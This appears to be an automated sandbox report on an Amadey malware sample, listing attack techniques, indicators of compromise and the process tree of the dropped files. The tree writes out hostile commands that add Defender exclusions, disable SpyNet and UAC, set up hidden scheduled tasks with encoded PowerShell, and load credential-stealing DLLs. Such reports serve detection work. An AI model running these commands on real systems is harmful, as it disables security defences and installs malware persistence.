amadey | 24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1CCE.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	1CCE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1CCE.exe = "0"	1CCE.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
3240	Process not Found

Executes dropped EXE 6 IoCs

pid	Process
1316	C7E.exe
356	1181.exe
608	1616.exe
4900	1CCE.exe
4364	C7E.exe
2588	1181.exe

Loads dropped DLL 1 IoCs

pid	Process
4572	regsvr32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3976	icacls.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000600000001afae-275.dat	upx
behavioral1/files/0x000600000001afae-278.dat	upx
behavioral1/files/0x000600000001afae-270.dat	upx
behavioral1/files/0x000600000001afc9-295.dat	upx
behavioral1/files/0x000600000001afae-292.dat	upx
behavioral1/files/0x000600000001afae-308.dat	upx
behavioral1/files/0x000600000001afae-332.dat	upx
behavioral1/memory/4884-370-0x0000000001370000-0x00000000018A5000-memory.dmp	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	1CCE.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	1CCE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1CCE.exe = "0"	1CCE.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1CCE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1CCE.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
220	api.2ip.ua
221	api.2ip.ua
9	api.2ip.ua
10	api.2ip.ua
26	api.2ip.ua
219	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 608 set thread context of 1136	608	1616.exe	77
PID 1316 set thread context of 4364	1316	C7E.exe	79
PID 4900 set thread context of 4708	4900	1CCE.exe	82
PID 356 set thread context of 2588	356	1181.exe	84

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4116	sc.exe
5524	sc.exe
3856	sc.exe
4560	sc.exe
3956	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1000	608	WerFault.exe	74
372	3984	WerFault.exe	90

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5560	schtasks.exe
668	schtasks.exe
4476	schtasks.exe
5404	schtasks.exe
1732	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2480	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4416	24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728.exe
4416	24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728.exe
3240	Process not Found
3240	Process not Found
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3240	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4416	24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeDebugPrivilege	4708	InstallUtil.exe
Token: SeShutdownPrivilege	3240	Process not Found
Token: SeCreatePagefilePrivilege	3240	Process not Found
Token: SeDebugPrivilege	5040	powershell.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 3240 wrote to memory of 1316	3240	Process not Found	70
PID 3240 wrote to memory of 1316	3240	Process not Found	70
PID 3240 wrote to memory of 1316	3240	Process not Found	70
PID 3240 wrote to memory of 960	3240	Process not Found	71
PID 3240 wrote to memory of 960	3240	Process not Found	71
PID 960 wrote to memory of 4572	960	regsvr32.exe	72
PID 960 wrote to memory of 4572	960	regsvr32.exe	72
PID 960 wrote to memory of 4572	960	regsvr32.exe	72
PID 3240 wrote to memory of 356	3240	Process not Found	73
PID 3240 wrote to memory of 356	3240	Process not Found	73
PID 3240 wrote to memory of 356	3240	Process not Found	73
PID 3240 wrote to memory of 608	3240	Process not Found	74
PID 3240 wrote to memory of 608	3240	Process not Found	74
PID 3240 wrote to memory of 608	3240	Process not Found	74
PID 3240 wrote to memory of 4900	3240	Process not Found	76
PID 3240 wrote to memory of 4900	3240	Process not Found	76
PID 3240 wrote to memory of 4900	3240	Process not Found	76
PID 608 wrote to memory of 1136	608	1616.exe	77
PID 608 wrote to memory of 1136	608	1616.exe	77
PID 608 wrote to memory of 1136	608	1616.exe	77
PID 608 wrote to memory of 1136	608	1616.exe	77
PID 608 wrote to memory of 1136	608	1616.exe	77
PID 608 wrote to memory of 1136	608	1616.exe	77
PID 608 wrote to memory of 1136	608	1616.exe	77
PID 608 wrote to memory of 1136	608	1616.exe	77
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 1316 wrote to memory of 4364	1316	C7E.exe	79
PID 4900 wrote to memory of 5040	4900	1CCE.exe	83
PID 4900 wrote to memory of 5040	4900	1CCE.exe	83
PID 4900 wrote to memory of 5040	4900	1CCE.exe	83
PID 4900 wrote to memory of 4708	4900	1CCE.exe	82
PID 4900 wrote to memory of 4708	4900	1CCE.exe	82
PID 4900 wrote to memory of 4708	4900	1CCE.exe	82
PID 4900 wrote to memory of 4708	4900	1CCE.exe	82
PID 4900 wrote to memory of 4708	4900	1CCE.exe	82
PID 4900 wrote to memory of 4708	4900	1CCE.exe	82
PID 4900 wrote to memory of 4708	4900	1CCE.exe	82
PID 4900 wrote to memory of 4708	4900	1CCE.exe	82
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84
PID 356 wrote to memory of 2588	356	1181.exe	84

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1CCE.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728.exe
"C:\Users\Admin\AppData\Local\Temp\24477641b629722762c83e88a0d5406e2c1322100e07553552e9ab7dd6f5f728.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4416

C:\Users\Admin\AppData\Local\Temp\C7E.exe
C:\Users\Admin\AppData\Local\Temp\C7E.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Users\Admin\AppData\Local\Temp\C7E.exe
  C:\Users\Admin\AppData\Local\Temp\C7E.exe
  2⤵
  - Executes dropped EXE
  PID:4364
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\6a5b705c-4f2e-49f0-8ea5-f2132de5c9a0" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:3976
- - C:\Users\Admin\AppData\Local\Temp\C7E.exe
    "C:\Users\Admin\AppData\Local\Temp\C7E.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:5136
  - - C:\Users\Admin\AppData\Local\Temp\C7E.exe
      "C:\Users\Admin\AppData\Local\Temp\C7E.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:5812

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\F5E.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:960
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\F5E.dll
  2⤵
  - Loads dropped DLL
  PID:4572

C:\Users\Admin\AppData\Local\Temp\1181.exe
C:\Users\Admin\AppData\Local\Temp\1181.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:356
- C:\Users\Admin\AppData\Local\Temp\1181.exe
  C:\Users\Admin\AppData\Local\Temp\1181.exe
  2⤵
  - Executes dropped EXE
  PID:2588
- - C:\Users\Admin\AppData\Local\Temp\1181.exe
    "C:\Users\Admin\AppData\Local\Temp\1181.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:4076
  - - C:\Users\Admin\AppData\Local\Temp\1181.exe
      "C:\Users\Admin\AppData\Local\Temp\1181.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:3764

C:\Users\Admin\AppData\Local\Temp\1616.exe
C:\Users\Admin\AppData\Local\Temp\1616.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:608
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:1136
- - C:\Users\Admin\AppData\Local\Temp\ci.exe
    "C:\Users\Admin\AppData\Local\Temp\ci.exe"
    3⤵
    PID:5524
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 608 -s 256
  2⤵
  - Program crash
  PID:1000

C:\Users\Admin\AppData\Local\Temp\1CCE.exe
C:\Users\Admin\AppData\Local\Temp\1CCE.exe
1⤵
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4900
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4708
- - C:\Users\Admin\Pictures\v2bJOsLHAc7peHmKYO4W9mfx.exe
    "C:\Users\Admin\Pictures\v2bJOsLHAc7peHmKYO4W9mfx.exe"
    3⤵
    PID:2644
  - - C:\Users\Admin\Pictures\v2bJOsLHAc7peHmKYO4W9mfx.exe
      "C:\Users\Admin\Pictures\v2bJOsLHAc7peHmKYO4W9mfx.exe"
      4⤵
      PID:4656
- - C:\Users\Admin\Pictures\SLm8Jcz0nsic3DW9xYkKhJ56.exe
    "C:\Users\Admin\Pictures\SLm8Jcz0nsic3DW9xYkKhJ56.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=5333
    3⤵
    PID:3728
  - - C:\Users\Admin\AppData\Local\Temp\is-UGF78.tmp\SLm8Jcz0nsic3DW9xYkKhJ56.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-UGF78.tmp\SLm8Jcz0nsic3DW9xYkKhJ56.tmp" /SL5="$E007E,4692544,832512,C:\Users\Admin\Pictures\SLm8Jcz0nsic3DW9xYkKhJ56.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=5333
      4⤵
      PID:1544
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /Query /TN "DigitalPulseUpdateTask"
        5⤵
        
        PID:3748
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /Create /TN "DigitalPulseUpdateTask" /SC HOURLY /TR "C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseUpdate.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:668
    - - C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseService.exe
        
        "C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseService.exe" 5333:::clickId=:::srcId=
        5⤵
        
        PID:3060
- - C:\Users\Admin\Pictures\tCDK5WoLuqAZyJgo4xVziDZi.exe
    "C:\Users\Admin\Pictures\tCDK5WoLuqAZyJgo4xVziDZi.exe"
    3⤵
    PID:1584
  - - C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
      "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
      4⤵
      PID:5116
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4476
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:2116
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:5488
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:N"
        6⤵
        
        PID:5508
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:R" /E
        6⤵
        
        PID:5576
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:5372
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:N"
        6⤵
        
        PID:5560
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:R" /E
        6⤵
        
        PID:5124
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        5⤵
        
        PID:3608
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        6⤵
        
        PID:6060
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll, Main
        5⤵
        
        PID:6116
- - C:\Users\Admin\Pictures\vGiLCmtvMKjhheiG36MYo9Qv.exe
    "C:\Users\Admin\Pictures\vGiLCmtvMKjhheiG36MYo9Qv.exe"
    3⤵
    PID:5028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\0318052001.exe"
      4⤵
      PID:6052
    - - C:\Users\Admin\AppData\Local\Temp\0318052001.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0318052001.exe"
        5⤵
        
        PID:4452
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "vGiLCmtvMKjhheiG36MYo9Qv.exe" /f & erase "C:\Users\Admin\Pictures\vGiLCmtvMKjhheiG36MYo9Qv.exe" & exit
      4⤵
      PID:660
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "vGiLCmtvMKjhheiG36MYo9Qv.exe" /f
        5⤵
        Kills process with taskkill
        
        PID:2480
- - C:\Users\Admin\Pictures\OOn0qZN9sy3ALL1epmPWqtvo.exe
    "C:\Users\Admin\Pictures\OOn0qZN9sy3ALL1epmPWqtvo.exe" /s
    3⤵
    PID:508
  - - C:\Users\Admin\Pictures\360TS_Setup.exe
      "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.InstallRox.CPI202211 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
      4⤵
      PID:3416
    - - C:\Program Files (x86)\1696062763_0\360TS_Setup.exe
        
        "C:\Program Files (x86)\1696062763_0\360TS_Setup.exe" /c:WW.InstallRox.CPI202211 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
        5⤵
        
        PID:1584
- - C:\Users\Admin\Pictures\lbnFjEUJWnW7JydfNyZY4ddI.exe
    "C:\Users\Admin\Pictures\lbnFjEUJWnW7JydfNyZY4ddI.exe"
    3⤵
    PID:4464
- - C:\Users\Admin\Pictures\xRjWofOJPFNJrQlKqwiwNpF4.exe
    "C:\Users\Admin\Pictures\xRjWofOJPFNJrQlKqwiwNpF4.exe"
    3⤵
    PID:804
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:6092
- - C:\Users\Admin\Pictures\V5kXdt1gzTQUNJ2Sj6xQNgem.exe
    "C:\Users\Admin\Pictures\V5kXdt1gzTQUNJ2Sj6xQNgem.exe"
    3⤵
    PID:4276
- - C:\Users\Admin\Pictures\95I57fxbuCJr4boX3xbpPnfB.exe
    "C:\Users\Admin\Pictures\95I57fxbuCJr4boX3xbpPnfB.exe" --silent --allusers=0
    3⤵
    PID:4684
  - - C:\Users\Admin\Pictures\95I57fxbuCJr4boX3xbpPnfB.exe
      "C:\Users\Admin\Pictures\95I57fxbuCJr4boX3xbpPnfB.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=4684 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20230930083156" --session-guid=b4e7c1f0-d359-4291-942a-f214588b2279 --server-tracking-blob=Mzk0YThlMjI5NGIxMjVkM2YzNjVmNTU3N2NmZjlkMTUyNjI1NDNjOGJlOTQwZmNiNTA0ODQ2M2Q1NmUzNjkxYTp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTY5NjA2MjcwNi4wMTE5IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiIwZDQ4NGJmMy1iYzAwLTQ3MWEtYmNkNi1lYTg3NTliYjY0YzIifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=5404000000000000
      4⤵
      PID:3948
    - - C:\Users\Admin\Pictures\95I57fxbuCJr4boX3xbpPnfB.exe
        
        C:\Users\Admin\Pictures\95I57fxbuCJr4boX3xbpPnfB.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=102.0.4880.78 --initial-client-data=0x2c0,0x2c4,0x2c8,0x290,0x2cc,0x694c3600,0x694c3610,0x694c361c
        5⤵
        
        PID:4396
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300831561\assistant\Assistant_100.0.4815.21_Setup.exe_sfx.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300831561\assistant\Assistant_100.0.4815.21_Setup.exe_sfx.exe"
      4⤵
      PID:4348
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300831561\assistant\assistant_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300831561\assistant\assistant_installer.exe" --version
      4⤵
      PID:4904
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300831561\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300831561\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=100.0.4815.21 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0xeae8a0,0xeae8b0,0xeae8bc
        5⤵
        
        PID:4352
- - C:\Users\Admin\Pictures\kTRF4Bokf81U4GEUcgdX6IjP.exe
    "C:\Users\Admin\Pictures\kTRF4Bokf81U4GEUcgdX6IjP.exe"
    3⤵
    PID:3096
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:5168
- - C:\Users\Admin\Pictures\KqEOmKa4sITlrXDIFphDS5Ku.exe
    "C:\Users\Admin\Pictures\KqEOmKa4sITlrXDIFphDS5Ku.exe"
    3⤵
    PID:760
- - C:\Users\Admin\Pictures\qDN15ru3WrnYnD0c90j2kHMk.exe
    "C:\Users\Admin\Pictures\qDN15ru3WrnYnD0c90j2kHMk.exe"
    3⤵
    PID:4344
  - - C:\Users\Admin\AppData\Local\Temp\7zS8567.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:204
    - - C:\Users\Admin\AppData\Local\Temp\7zS89CC.tmp\Install.exe
        
        .\Install.exe /onodideu "385118" /S
        5⤵
        
        PID:832
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:5556
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:5896
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:6000
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:3432
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:5228
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:5220
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:5844
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "giSYWWfCF" /SC once /ST 06:26:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:5404
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "giSYWWfCF"
        6⤵
        
        PID:6120
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "giSYWWfCF"
        6⤵
        
        PID:6068
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "btfmIdJuGrxwaoGOMk" /SC once /ST 08:34:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\WGwFQKHrluDLYWEdJ\CdSfIwdHRdXSiNu\XKrEJOL.exe\" n5 /Vxsite_idtNZ 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
